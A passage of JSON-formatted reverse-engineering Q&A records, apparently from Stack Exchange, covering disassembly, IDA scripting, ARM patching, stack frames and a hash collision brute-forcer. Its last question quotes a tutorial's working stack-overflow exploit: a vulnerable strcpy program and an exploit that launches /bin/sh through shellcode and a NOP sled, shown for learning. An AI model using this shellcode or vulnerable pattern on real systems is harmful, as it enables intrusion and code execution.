        "Answer": "<p>A Lame brute forcer with an arbitrary seed value using the code you provided finds a few collisions under an hour</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\nint bitXor(int a,int b) { return (a &amp; ~b) | (~a &amp; b); }\nvoid hashit( void) {  \n    SYSTEMTIME st;  \n    unsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;\n    unsigned int ch;\n    char inputVal[32]={0};\n    GetSystemTime(&amp;st);\n    printf(\"System time is : %02d:%02d:%02d:%02d\\nBruteforce seed = 0xfffffff0\\n\", \n    st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);\n    for (unsigned __int64 in = 0xfffffff0; in &lt; 0xffffffffffffffff; in++) {     \n        _i64toa_s( in,inputVal,sizeof(inputVal),10);        \n        for(unsigned int i=0;i&lt;strlen(inputVal);i++){\n            ch=inputVal[i];\n            ch=ch+(specialNum*32);\n            ch=ch+(specialNum/4);\n            specialNum=bitXor(specialNum,ch);\n        }\n        if(specialNum == savedspecialNum) {\n            GetSystemTime(&amp;st);\n            printf(\"The system time is: %02d:%02d:%02d:%02d\\n\", \n            st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);\n            printf(\"%I64x\\t%x\\n\",in,specialNum);\n        }\n        specialNum = savedspecialNum;\n    }\n}\nvoid main (void) {\n    hashit();\n}\n</code></pre>\n\n<p>result </p>\n\n<pre><code>System time is : 06:17:40:328\nBruteforce seed = 0xfffffff0\nThe system time is: 06:51:23:343\n198172e4a       4e67c6a7\n</code></pre>\n\n<p><strong>Edit</strong></p>\n\n<p>An improved but still Lame bruteforcer finds the first collision in 80 odd seconds      </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\nchar in[33] = {\"4294967280\"};\nunsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;\nSYSTEMTIME lt;\nvoid main (void ){ unsigned int ch; GetLocalTime(&amp;lt);\n printf(\"BruteForce Started At %02d:%02d:%02d:%02d Seed used 0n%s 0x%I64x\\n\",\n lt.wHour, lt.wMinute,lt.wSecond,lt.wMilliseconds,in,_strtoui64(in,0,10));\n while(in[0] &lt;= 57) { while(in[1] &lt;= 57) { while(in[2] &lt;= 57) {\n    while(in[3] &lt;= 57) { while(in[4] &lt;= 57) { while(in[5] &lt;= 57) {\n       while(in[6] &lt;= 57) { while(in[7] &lt;= 57) { while(in[8] &lt;= 57) {\n          while(in[9] &lt;= 57 ) { for(unsigned int i=0;i&lt;10;i++) {\n            ch=in[i]; ch=ch+(specialNum*32); ch=ch+(specialNum/4);\n            specialNum=specialNum^ch;\n           } if(specialNum == savedspecialNum) { GetLocalTime(&amp;lt);\n            printf(\"First Collision Found 0n%s 0x%I64x\\nBruteForce Ended \"\n            \"At %02d:%02d:%02d:%02d\\n\",in,_strtoui64(in,0,10),lt.wHour,\n            lt.wMinute,lt.wSecond,lt.wMilliseconds);return;\n           }specialNum = savedspecialNum; in[9]++;\n          }in[8]++;in[9]='0';\n         }in[7]++;in[8]='0','0';\n        }in[6]++;in[7]='0','0','0';\n       }in[5]++;in[6]='0','0','0','0';\n      }in[4]++;in[5]='0','0','0','0','0';\n     }in[3]++;in[4]='0','0','0','0','0','0';\n    }in[2]++;in[3]='0','0','0','0','0','0','0';\n   }in[1]++;in[2]='0','0','0','0','0','0','0','0';\n  }in[0]++;in[1]='0','0','0','0','0','0','0','0','0';\n }\n}\n</code></pre>\n\n<p>Result</p>\n\n<pre><code>&gt;strarray.exe\nBruteForce Started At 19:26:45:437 Seed used 0n4294967280 0xfffffff0\nFirst Collision Found 0n6846623306 0x198172e4a\nBruteForce Ended At 19:28:01:921\n</code></pre>\n"
    },
    {
        "Id": "9048",
        "CreationDate": "2015-06-02T11:21:24.617",
        "Body": "<p>It seems <code>abo1.exe advanced_buffer_overflow</code> challenge is packed, I've tried to unpack it, but I am still beginner in unpacking.It seems it is packed manually. I've also tried OllyDump and ImortREC.</p>\n\n<p>Can any body give me a hand on unpacking it?\nHere is the file : <a href=\"http://www.binary-auditing.com/binary-auditing-training-package.zip\" rel=\"nofollow\">http://www.binary-auditing.com/binary-auditing-training-package.zip</a></p>\n\n<p>password : fdcd2ff4c2180329053650f3075d39f4</p>\n",
        "Title": "Unpacking abo1.exe advanced buffer overflow challenge from www.binary-auditing.com",
        "Tags": "|unpacking|packers|",
        "Answer": "<p>The file abo1.exe (MD5: 22702FBFC5B198080ACA8F0BE6F2DF0B) doesn't look packed to me. Looking at the PE structure we can see the entry point is in the .text section and the file has a few imports:</p>\n\n<p><img src=\"https://i.stack.imgur.com/eT3iZ.png\" alt=\"enter image description here\"></p>\n\n<p>Disassembling this entry point shows some code that looks normal. The main function gets the command line arguments and passes them to another function  before terminating:</p>\n\n<p><img src=\"https://i.stack.imgur.com/c8BA6.png\" alt=\"enter image description here\"></p>\n\n<p>Looking at this other function we can see a strcpy to a stack destination buffer with an attacker supplied source buffer.</p>\n\n<p><img src=\"https://i.stack.imgur.com/NjQYe.png\" alt=\"enter image description here\"></p>\n\n<p>The challenge from the training perspective is to exploit this stack based buffer overflow in order to gain arbitrary code execution (which is beyond the scope of this answer).</p>\n"
    },
    {
        "Id": "9053",
        "CreationDate": "2015-06-02T14:19:53.027",
        "Body": "<p>I'm using OllyDbg v2.01 to analyse a specific binary. The binary is calling <em>createProcess()</em> and afterwards it's checking the return value via <em>test eax, eax</em>.\nEAX contains 00000001 so the createProcess() call must have been successful. Nevertheless, OllyDbg crashes if I want to step over <em>test eax, eax</em> and I have absolutely no idea why. Is there any way to find out what's the problem for Olly? Normally, I can see if there is an access violation or something else going on which might bother Olly but in this case, there is nothing.</p>\n",
        "Title": "How to find out why OllyDbg crashes?",
        "Tags": "|ollydbg|",
        "Answer": "<p>You can debug OllyDbg with another instance of OllyDbg:</p>\n\n<ul>\n<li><p>In OllyDbg process #1, run OllyDbg process #2.</p></li>\n<li><p>In OllyDbg process #2, run your target binary.</p></li>\n<li><p>When OllyDbg process #2 crashes, you can analyze the crash via\nOllyDbg process #1.</p></li>\n</ul>\n"
    },
    {
        "Id": "9068",
        "CreationDate": "2015-06-05T07:59:52.107",
        "Body": "<p>Here is the code of loop that I'm trying to understand the disassembly of it:</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#include &lt;iostream&gt;\n\nusing namespace std;\n\nint main() {\n   int i, arr[50], num;\n\n   printf(\"\\nEnter no of elements :\");\n   cin &gt;&gt; num;\n\n   //Reading values into Array\n   printf(\"\\nEnter the values :\");\n   for (i = 0; i &lt; num; i++)\n    cin &gt;&gt; arr[i];\n\n   return 0;\n}\n</code></pre>\n\n<p>And this is the disassembly:\n<img src=\"https://i.stack.imgur.com/4JQnv.jpg\" alt=\"enter image description here\"></p>\n\n<p>Can you explain me the highlighted part? what is <code>Var_D8</code> is used for? Why compiler shifted left the <code>edx</code>?</p>\n",
        "Title": "Understanding the loop disassembly",
        "Tags": "|disassembly|binary-analysis|",
        "Answer": "<p><code>var_D8</code> is your <code>int arr[50]</code>.</p>\n\n<p>You can recognize it quickly solely by its name : 50 * sizeof(int) = 200 = 0xC8. The next variable on the stack is <code>numb_of_elements</code> which is positionned on -0x10 on the stack, thus we have some memory between -0xD8 and -0x10 that corresponds to the <code>int</code> array.</p>\n\n<p>Here are some explanations about the following instructions :</p>\n\n<pre><code>lea eax, [ebp+var_D8]  ; Get the address of the first element of the array.\nmov edx, [ebp+Counter] ; Get the current element index.\nshl edx, 2             ; Since the size of each element of the array is 4, multiply the index by 4\nadd eax, edx           ; &amp;arr[i] = The address of the current element\nmov [esp], eax         ; Move it on the stack so it can be written by std::cin\n</code></pre>\n"
    },
    {
        "Id": "9071",
        "CreationDate": "2015-06-05T19:46:45.327",
        "Body": "<p>I have a binary file which is potentially a virus and I wish to look into its internals. I need to be cautious as I don't want it to run on my system. That's why I ruled out gdb.</p>\n\n<p>I've searched and skimmed various sites on decompilers but, I haven't been able to figure out the internals. Does the decompiler actually <em>execute</em> the code in someway? (again, I don't want the file to run on my system in any way).</p>\n\n<p>Using a VM is not an option as I have a low-RAM system. What are the risks of running a decompiler to analyze a potentially malicious executable.</p>\n",
        "Title": "What are the risks of running a decompiler?",
        "Tags": "|decompilation|decompile|decompiler|malware|",
        "Answer": "<h2>Static analysis doesn't execute the code.</h2>\n\n<p>You can safely run a decompiler or dissembler against the binary and it will analyze without executing the code. Static analysis by itself can be difficult if the binary is obfuscated and packed. There is a risk where the file could exploit a vulnerability in the program doing the analysis, but this is fairly uncommon, though you should still keep you systems up to date and run as an unprivileged user.</p>\n\n<p>Some disassemblers you could try:</p>\n\n<ul>\n<li><code>objdump</code>. You can use the <code>objdump</code> disassembler to dump the disassembly of the binary. The command <code>objdump -D yourbin</code> will disassemble all sections.</li>\n<li><code>IDA Pro</code>. You can grab a free trial of IDA Pro from their website. </li>\n<li><code>Hopper</code>. Hopper also has a free trial you can use. Its cost is much cheaper than IDA Pro if you do decide to purchase.</li>\n</ul>\n\n<p><a href=\"http://www.backerstreet.com/decompiler/decompilers.htm\" rel=\"nofollow\">This page</a> lists some decompilers you could try. I haven't tried any of them (except for IDA Decompiler, which is expensive), so I can't vouche for how well they work.</p>\n"
    },
    {
        "Id": "9076",
        "CreationDate": "2015-06-07T00:26:27.630",
        "Body": "<p>I'm trying to extract a float value at the current linear address in the IDC script, but I can't figure out how to do this.</p>\n\n<p>Disassembly example:</p>\n\n<pre><code>.rdata:004F8360 flt_4F8360      dd 0.69999999           ; DATA XREF: sub_4071E0+68r\n</code></pre>\n\n<p>I want to print this float value in the console message like this:</p>\n\n<pre><code>Value: 0.69999999\n</code></pre>\n\n<p>I've tried (unsuccessfully):</p>\n\n<ul>\n<li><p><code>Dword(ea)</code></p>\n\n<pre><code>Message(\"Value: %f\", Dword(ea));\n\nValue: 1.060320051e9\n</code></pre></li>\n<li><p><code>GetManyBytes(ea, 4, 0)</code>:</p>\n\n<pre><code>Message(\"Value: %f\", GetManyBytes(ea, 4, 0));\n\nValue: 3.33e2\n</code></pre></li>\n</ul>\n\n<p>So how does one achieves this?</p>\n",
        "Title": "How to get value at the current linear address in the IDC script?",
        "Tags": "|ida|",
        "Answer": "<p>By looking at the <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/idc.html\" rel=\"nofollow noreferrer\">documentation</a>.</p>\n<p>Use <a href=\"https://hex-rays.com/products/ida/support/idapython_docs/idc.html#idc.GetFloat\" rel=\"nofollow noreferrer\"><code>GetFloat</code></a>.</p>\n"
    },
    {
        "Id": "9078",
        "CreationDate": "2015-06-07T07:50:21.750",
        "Body": "<p>When I used CheatEngine (I know, I know...) it had this option that let you create code caves, meaning you could replace any instruction with a JMP to a new section, which contained the old instruction followed by your new code, and then JMP'd back to original place.</p>\n\n<p>I'd like to do the same with Ida, in a way that lets me save my changes to executable. Is this possible?</p>\n\n<p><sub>I tried adding new section manually in the segments window, but saving the executable with \"apply changes to input file\" doesn't change anything, nor does saving a \"DIF\" file.</sub></p>\n",
        "Title": "Adding new code with Ida",
        "Tags": "|ida|windows|",
        "Answer": "<p>I've done something like this with an ARM android application recently; however, IDA doesn't assemble ARM, and translating ARM code to binary manually isn't a fun task. I found the address of a suitable code cave in IDA first, wrote an assembly file beginning with <code>.org code_cave_address</code> (and another <code>.org</code> and a branch instruction at where i wanted to jump to my code cave) , used the arm version of gnu as to assemble it, then used objdump to find the assembled code, and finally used IDAPatcher to copy the hex code into my IDA database and patch the original shared library. </p>\n\n<p>Not the most straightforward way, but something that will work with every kind of processor, even if IDA doesn't support assembling for it.</p>\n"
    },
    {
        "Id": "9079",
        "CreationDate": "2015-06-07T12:15:59.243",
        "Body": "<p>Lets assume this function frame :</p>\n\n<p><img src=\"https://i.stack.imgur.com/enFNM.jpg\" alt=\"enter image description here\"></p>\n\n<p>How to calculate and check  if subtracted stack space by line 3 is <code>58h</code> ?: <code>sub esp, 58h</code></p>\n\n<p>And this is the code, the compiler is also Dev C++:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nchar *the_good_one = \"gb_master\";\n\nvoid cookie()\n{\n    printf(\"Get a cookie!\\n\");\n}\n\nchar check_password()\n{\n    char password[64];\n\n    printf(\"Enter password: \");\n    scanf(\"%s\", password);\n\n    return (!strcmp(password, the_good_one));\n}\n\nint main(void)\n{\n    if(check_password())\n    {\n        printf(\"GOOOOOOOOOOD!\\n\");\n        cookie();\n    }\n    else\n    {\n        printf(\"Wrong password\\n\");\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p><code>check_password()</code> function disassembly added : </p>\n\n<p><img src=\"https://i.stack.imgur.com/kCSgz.jpg\" alt=\"enter image description here\"></p>\n",
        "Title": "Computing subtracted stack space for a function manually",
        "Tags": "|assembly|binary-analysis|static-analysis|binary|stack|",
        "Answer": "<p>Older compilers made space for function parameters on the stack by pushing them, and popping from the stack after the function call; newer compilers optimize this. For example, while a function gets executed, the stack changed like this:</p>\n\n<pre><code> start        calling       after         before scanf   after scanf \n              printf        printf                                   \n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|return addr| |return addr| |return addr| |return addr| |return addr|\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | |           | |           | |           | |           |\n| local     | | local     | | local     | | local     | | local     |\n| variables | | variables | | variables | | variables | | variables |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n              | \"Enter..\" |               | password  |              \n              +-----------+               +-----------+              \n                                          | \"%s\"      |              \n                                          +-----------+              \n</code></pre>\n\n<p>You see how <code>sp</code> (the bottom of the stack) changes with every function call.\nNewer versions of <code>gcc</code> change this; they make enough space on the stack (for local variables and all possible function parameters) from the beginning, and just move the parameters to addresses relative to the stack pointer:</p>\n\n<pre><code> start        calling       after         before scanf   after scanf \n              printf        printf                                   \n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|return addr| |return addr| |return addr| |return addr| |return addr|\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | |           | |           | |           | |           |\n| local     | | local     | | local     | | local     | | local     |\n| variables | | variables | | variables | | variables | | variables |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | |           | |           | | password  | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | | \"Enter..\" | |           | | \"%s\"      | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n</code></pre>\n\n<p>Note how, from the beginning, the stack has the size it needs for the 4th step (before scanf), and how the \"Enter..\" string is moved directly to where the stack pointer is (so it's the first parameter on the stack), not to the space directly below local variables.</p>\n\n<p>So to calculate the stack size from the source code, you need to know</p>\n\n<ul>\n<li>how many bytes your return frame needs</li>\n<li>how many bytes to reserve for the stack canary, if any</li>\n<li>how many bytes local variables need</li>\n<li>how many bytes to reserve for function arguments; this may include special treatment for structures, or doubles, that don't follow standard conventions</li>\n<li>how many bytes to subtract from the function arguments because they're passed in registers, this applies to 64 bit code especially.</li>\n</ul>\n\n<p>This might change per compiler version as well. It seems that your compiler reserved 8 bytes for stack frame/canary; 64 (0x40) bytes for the password array, and another 16 bytes for function parameters, where 8 would have been sufficient (maybe for alignment reasons)?</p>\n\n<p>I wouldn't rely on any formula for the number of bytes needed; instead, check with the specific compiler i'm using, and prepare for this number to change whenever a different compiler gets used.</p>\n"
    },
    {
        "Id": "9085",
        "CreationDate": "2015-06-07T20:45:13.247",
        "Body": "<p>I have the following 2 ARM instructions in a basic block which is part of a function that I'm trying to convert to C.</p>\n\n<pre><code>ADDS r4, r2, r7\nADC  r5, r3, r7, ASR#31\n</code></pre>\n\n<p>From my understanding, the first instruction does a <code>r4 = r2+r7</code> and sets the flags. The next instruction does <code>r5 = r3 + (r7&gt;&gt;31) + &lt;carryflag&gt;</code>. How would the instructions look in C?</p>\n",
        "Title": "ADC in ARM : What is the corresponding C?",
        "Tags": "|arm|decompile|",
        "Answer": "<p>There is no single C instruction that matches the assembly code directly. What's happening is the 32 bit value in r7 gets added to the 64 bit value in r2/r3, with the result written to r4/r5. </p>\n\n<p>You can verify this in a few different cases:</p>\n\n<ul>\n<li>No overflow in the first instruction, positive number (bit 31 is zero) in <code>r7</code>. This means the <code>ADC</code> has nothing to add, and just copies <code>r3</code> to <code>r5</code>.</li>\n<li>First instruction produces overflow, but <code>r7</code> is positive anyway. The <code>ADC</code> adds one (from the carry flag) to account for the overflow.</li>\n<li><code>r7</code> is negative (bit 31 is 1). The <code>ASR</code> instruction produces a <code>-1</code> (all bits set), since it does an <em>arithmetic</em> shift, not a logical shift. This effectively subtracts 1 from <code>r3</code> in the second instruction.</li>\n</ul>\n\n<p>So the original C code probably looked like this:</p>\n\n<pre><code>__int64__ r23;\n__int32__ r7;\n__int64__ r45;\nr45=r23+r7;\n</code></pre>\n\n<p>As i said, the asm code doesn't really match the C code, since C doesn't have any syntax for type extension. (You could use casts in your C, but that wouldn't really make anything clearer).</p>\n\n<p>This is one of the reasons why there is more to reverse engineering that just creating C from assembly; you have to have an understanding on assembly, registers, processor quirks, and compiler shortcuts, to understand what's going on in these cases.</p>\n"
    },
    {
        "Id": "9089",
        "CreationDate": "2015-06-08T00:55:13.527",
        "Body": "<p>I have disassembled a MIPS library in the online Retargetable Disassembler, but I don't really understand the code I got (I'm new to reverse engineering). Would it be possible for me to either recompile the code so I can call it, or use the library directly to call the code?</p>\n\n<p>I assume the latter would only be possible if I'm running on MIPS. How else could I proceed with reverse engineering this code?</p>\n",
        "Title": "Calling a function in a MIPS library",
        "Tags": "|mips|",
        "Answer": "<p>You will have to learn MIPS assembly, and some information about the processor and the registers it uses (for example, opcodes are 3-operand, and <code>r0</code> is always zero).</p>\n\n<p>If you want to add dynamic analysis to your efforts at static disassembly, you'll need the corresponding environment. For example, if your binary is a piece of old SGI IRIX software, a Linux MIPS system won't help you much, since calling conventions, file formats etc. are different. However, this doesn't neccesarily mean you need a MIPS processor, there are various <a href=\"http://www.linux-mips.org/wiki/Emulators\" rel=\"nofollow\">emulators</a> out there for MIPS devices.</p>\n\n<p>Especially in the case of MIPS under Linux, many routers use MIPS processors, and there are several of them that allow you to telnet or ssh in. So, in addition to running an emulator, you could try getting one of those devices, copying your binary there, and running it, possibly under the control of a debugger like gdb or IDA Pro (you need the professional version, the free version and the entry-level version don't support MIPS).</p>\n"
    },
    {
        "Id": "9092",
        "CreationDate": "2015-06-08T10:34:36.563",
        "Body": "<p>Basically I want to replace <code>MOVS R1, #0x0</code> with <code>MOV.W R1, #0x123</code>, since later instruction requires 4 bytes it is impossible to simply replace in HEX code.</p>\n\n<p>I am using IDA Pro for analyzing native android library. I read about codecaves but my text segment don't have free space to add new data.</p>\n\n<p>Since i'm newbie to this, any tutorials are welcome.</p>\n",
        "Title": "Replacing small length instruction with larger length instruction",
        "Tags": "|ida|android|arm|hex|patching|",
        "Answer": "<p>As you need just 2 more bytes, you don't need a large code cave. Out of the box, there are four things you can try:</p>\n\n<ul>\n<li>It's very likely you have a function or 2 in your text segment that are present in some source code, but never called. Look for <code>loc_XXXX</code> labels that have the standard function prefix (<code>push ....,LR</code>) and the suffix (<code>pop ....,PC</code>) a few dozen bytes later. Reuse these functions for your code cave.</li>\n<li>Check if there are any redundant instructions in your code. Maybe you can omit 2 bytes somewhere nearby and move the rest around.</li>\n<li>Often, function starts are aligned to 16 byte boundaries. There might be a few spare bytes between your current function and the next. These can show up like <code>nop.w</code> in assembly, or <code>f3af 8000</code> in hex.</li>\n<li>You could use the text of a rarely used error message for your code cave. Replace \"ThisIsALongErrorMessage\\0\" with \"LongError\\0\" and you've gained some bytes, at the expense of the clarity of an error message you're never likely to see anyway. This is a bit harder, since your text is probably in some section that isn't marked executable, and you'll have to fiddle with the ELF headers to fix this.</li>\n</ul>\n"
    },
    {
        "Id": "9094",
        "CreationDate": "2015-06-08T12:42:16.737",
        "Body": "<p>As the title says, how to calculate offsets for branch instructions?\nFor example i have following assembly code,</p>\n\n<pre><code>0x60ECE    B loc_60EE6\n;\n;\n;\n0x60EE6    LDR.W R2, #0x123\n</code></pre>\n\n<p>Hex code for location <code>0x60ECE</code> is <code>0A E0</code>. i want to know how it is calculated. According to <a href=\"https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation\">https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation</a> , offset should be <code>04</code> instead of <code>0A</code>.</p>\n\n<p>I'm working on android binary.</p>\n",
        "Title": "Offset calculation for branch instruction in ARM",
        "Tags": "|ida|android|arm|offset|",
        "Answer": "<p>You're missing the fact that you're working in THUMB mode, where you have two bytes per instruction (for most instructions at least), and that link describes ARM mode, where every instruction has 4 bytes.</p>\n\n<p>(How do i know you're in THUMB mode? Apart from your last question, your <code>0x60ECE B loc_60EE6</code> isn't 4-byte aligned, so it must be THUMB).</p>\n\n<p>If you add 4 bytes to the instruction at <code>loc_60ECE</code>, you get <code>0x60ED2</code>. Subtract this from <code>60EE6</code> to get <code>14</code>, or 20 decimal. Divide by 2 (2 byte instructions in THUMB mode) to get <code>10</code> decimal, or <code>0A</code> hex.</p>\n\n<p>As calculating offsets can be hard and is error-prone, i let the gnu arm assembler handle it for me.  First write an assembly file, like this (named q.s, choose any name you want):</p>\n\n<pre><code>.thumb\n.arch armv7a\n.syntax unified\n.org 0x60ECE\n    B codecave\noriginal:\n.org 0x60EE6\ncodecave:\nmovw R2, #0x123\nB original\n</code></pre>\n\n<p>then assemble it and check the result:</p>\n\n<pre><code>arm-linux-gnueabi-as q.s\narm-linux-gnueabi-objdump -s a.out | grep -v \"00000000 00000000 00000000 00000000\"\n\nContents of section .text:\n 60ec0 00000000 00000000 00000000 00000ae0  ................\n 60ee0 00000000 000040f2 2312f1e7           ......@.#...    \n</code></pre>\n\n<p>You see your <code>0ae0</code> at <code>60ece</code>, and <code>40f22312f1e7</code> at <code>60ee6</code>. You can patch this in IDA directly, or use the <a href=\"https://thesprawl.org/projects/ida-patcher/\" rel=\"nofollow\">idapatcher plugin</a> to copy/paste the hex. I found this to be much easier than crafting the patched bytes manually.</p>\n"
    },
    {
        "Id": "9099",
        "CreationDate": "2015-06-09T07:32:33.400",
        "Body": "<p>I compile this code with Visual studio 2010 compiler:</p>\n\n<pre><code>#include \"stdafx.h\"\n#include &lt;iostream&gt;\nint main() {\n   int *p;\n   p = new int(255);\n   delete []p;\n}\n</code></pre>\n\n<p>The disassembly of it, is different from Dev C++. It seems it first checks if there is enough memory and then start the allocation. am I right?</p>\n\n<p>This is the disassembly : </p>\n\n<p><img src=\"https://i.stack.imgur.com/jMZjB.jpg\" alt=\"enter image description here\"></p>\n\n<p>In the Orange node:</p>\n\n<p>Why <code>esi</code> and <code>edi</code> pushed to the stack?\nI've seen <code>mov eax,0CCCCCCCCh</code> before in books, What does this instruction do?\nWhat does the highlighted part of the orange node do? Is it a check to see if there is enough available memory?</p>\n\n<p>In the blue node:</p>\n\n<p><code>FFh</code> is equal to <code>255</code>, Can you explain how the memory is getting allocated?</p>\n",
        "Title": "Visual studio memory allocation reverse engineering",
        "Tags": "|disassembly|binary-analysis|c++|static-analysis|compilers|",
        "Answer": "<p>You may want to read up on assembly before attempting to reverse engineer.</p>\n\n<ol>\n<li><p><code>esi</code> and <code>edi</code> are pushed on the stack because the compiler thought this routine modifies them. (It is wrong because only <code>edi</code> is used. Still, better safe than sorry.)</p></li>\n<li><p><code>mov eax,0cccccccch</code> moves the value 0CCCCCCCCh into register eax. Which is actually kind of self-explanatory.  That instruction in itself does nothing particularly useful, and you should be careful to ask such questions. It is clear from the <em>next lines</em> that the value gets stored into the Local Variable area, to fill it with a 'known' value, rather than having random values.</p>\n\n<p>The value 0CCCCCCCCh is used as a <a href=\"https://stackoverflow.com/questions/17644418/why-is-the-stack-filled-with-0xcccccccc\">sentinel value</a> and so if the context is \"it gets stored somewhere\", then its purpose is to catch uninitialized pointers.</p></li>\n<li><p>Again, time for an assembly refresher. The first highlighted line</p>\n\n<pre><code>add esp, 4\n</code></pre>\n\n<p>is not part of the following instructions, it's Stack Cleanup for the <em>previous</em> instruction: the <code>call</code>.</p>\n\n<p>The lines <code>mov [ebp+var_E0], eax</code> and <code>cmp [ebp+var_E0], 0</code> have nothing to do at all with any kind of \"allocation\" or \"memory\"! All it does is save <code>eax</code> \u2013 the return value of the previous <code>call</code> \u2013 into a local variable, and then test if the value is 0. That is boilerplate generated code for</p>\n\n<pre><code>var_E0 = new (uint);\nif (var_E0 == 0)\n   ...\n</code></pre>\n\n<p>which is the only 'check' there is, and only <em>after</em> attempting to allocate, not before.</p></li>\n<li><p>'Blue node': the code in assembler does what the C++ code is supposed to do. It <em>allocated</em> space for a single integer before (the <code>push 4</code> in the call to <code>new</code>) and in the blue node, it <em>stores</em> the value 255 into the newly allocated memory. If you expected it to allocate 255 bytes: well no. It does what the C++ code is supposed to do, which is explained in <a href=\"https://stackoverflow.com/questions/13797926/what-does-new-int100-do\">What does \"new int(100)\" do?</a> and the question of which it is marked a duplicate.</p></li>\n</ol>\n"
    },
    {
        "Id": "9117",
        "CreationDate": "2015-06-10T22:01:21.820",
        "Body": "<p>I'm working on a sensor with <a href=\"http://en.wikipedia.org/wiki/Peripheral_Sensor_Interface_5\" rel=\"nofollow\">PSI5</a> interface and I'm using <a href=\"http://www.seskion.de/wwwpub/produkte/psi5/simulyzer.php?lang=en/\" rel=\"nofollow\">PSI Simulyzer</a> box to simulate the environment during testing. This box comes with a <a href=\"http://www.seskion.de/images/PSI5Simulyzer1_4.jpg\" rel=\"nofollow\">software</a> (some sort of digital oscilloscope) to make the measurements, but API header files and libraries are also provided. My intent is to use this API to automate non-regression test measurements.</p>\n\n<p>This API is very poorly documented - it's basically a doxygen generated from the header file. I'm trying to guess the missing details, but some things just won't work in my software. Namely, I don't seem to be able to switch between synchronous and asynchronous modes, while the original software has a drop-down which works just fine.</p>\n\n<p>I decided to analyze the original software by placing breakpoints to several (about 20) DLL functions which seem to be related to configuration in Visual Studio debugger, and note which of these functions are called, and with which arguments. I didn't succeed so far - when I call the same functions with the same arguments on my side, communication mode won't change.</p>\n\n<p>Here's what I think causes my approach to fail:</p>\n\n<ol>\n<li>I didn't set the breakpoints to all functions (there are about 100 of them)</li>\n<li>I didn't analyze the calls from the beginning. Maybe there is some sort of pre-config sequence which I'm missing.</li>\n<li>Some functions take pointer arguments (e.g. <code>int16_t *config</code>) and I have no idea how many bytes I need to provide them. Maybe they point to structures with more pointers inside, which I cannot guess.</li>\n</ol>\n\n<p>I see how to overcome issues 1 and 2, but doing such extended analysis by hand is too time-consuming. Is there a way to automate the process of setting breakpoints to all functions of a DLL, and log the arguments when these functions are called? Maybe there is a debugger more adapted to this task than Visual Studio?</p>\n",
        "Title": "How to analyse a poorly documented DLL API?",
        "Tags": "|debugging|c++|dll|",
        "Answer": "<p>My first recommendation would be to contact the vendor and ask them your questions. You paid for the product and its SDK, so if the latter is not usable, they should offer support to you.</p>\n\n<p>As for monitoring DLL function calls, I'd recommend using <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow noreferrer\">API Monitor</a> and its <em>External DLL Filter</em> functionality. It won't solve everything for you since you'd still need to figure out how many arguments are expected for each DLL function (you can extract that information with IDA), but I think it'll get you 90% of the way there.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ObEU0.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "9125",
        "CreationDate": "2015-06-12T21:12:58.343",
        "Body": "<p>I'm following the video here: <a href=\"https://www.youtube.com/watch?v=N0DBu3TGejI\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=N0DBu3TGejI</a></p>\n\n<p>ExploitMe.c</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nmain(int argc, char **argv)\n{\n        char buffer[80];\n\n        strcpy(buffer, argv[1]);\n\n        return 1;\n}\n</code></pre>\n\n<p>HackYou.c</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;stdlib.h&gt;\n#include&lt;string.h&gt;\n\n// shellcode ripped from http://www.milw0rm.com/shellcode/444\n\nchar shellcode[]=\n\"\\x31\\xc0\"                      // xorl         %eax,%eax\n\"\\x50\"                          // pushl        %eax\n\"\\x68\\x6e\\x2f\\x73\\x68\"          // pushl        $0x68732f6e\n\"\\x68\\x2f\\x2f\\x62\\x69\"          // pushl        $0x69622f2f\n\"\\x89\\xe3\"                      // movl         %esp,%ebx\n\"\\x99\"                          // cltd\n\"\\x52\"                          // pushl        %edx\n\"\\x53\"                          // pushl        %ebx\n\"\\x89\\xe1\"                      // movl         %esp,%ecx\n\"\\xb0\\x0b\"                      // movb         $0xb,%al\n\"\\xcd\\x80\"                      // int          $0x80\n;\n\nchar retaddr[] = \"\\x08\\xf3\\xff\\xbf\";\n\n#define NOP 0x90\n\n\nmain()\n{\n        char buffer[96];\n\n        memset(buffer, NOP, 96);\n\n        memcpy(buffer, \"EGG=\", 4);\n\n        memcpy(buffer+4, shellcode, 24);\n\n        memcpy(buffer+88, retaddr, 4);\n        memcpy(buffer+92, \"\\x00\\x00\\x00\\x00\", 4);\n\n        putenv(buffer);\n\n        system(\"/bin/sh\");\n\n        return 0;\n\n}\n</code></pre>\n\n<p>I run ./HackYou, in that environment there is an enviroment variable named $EGG that is used as an argument to the ExploitMe.c. $EGG contains: 24 bytes shell code, 60 bytes nop, and 4 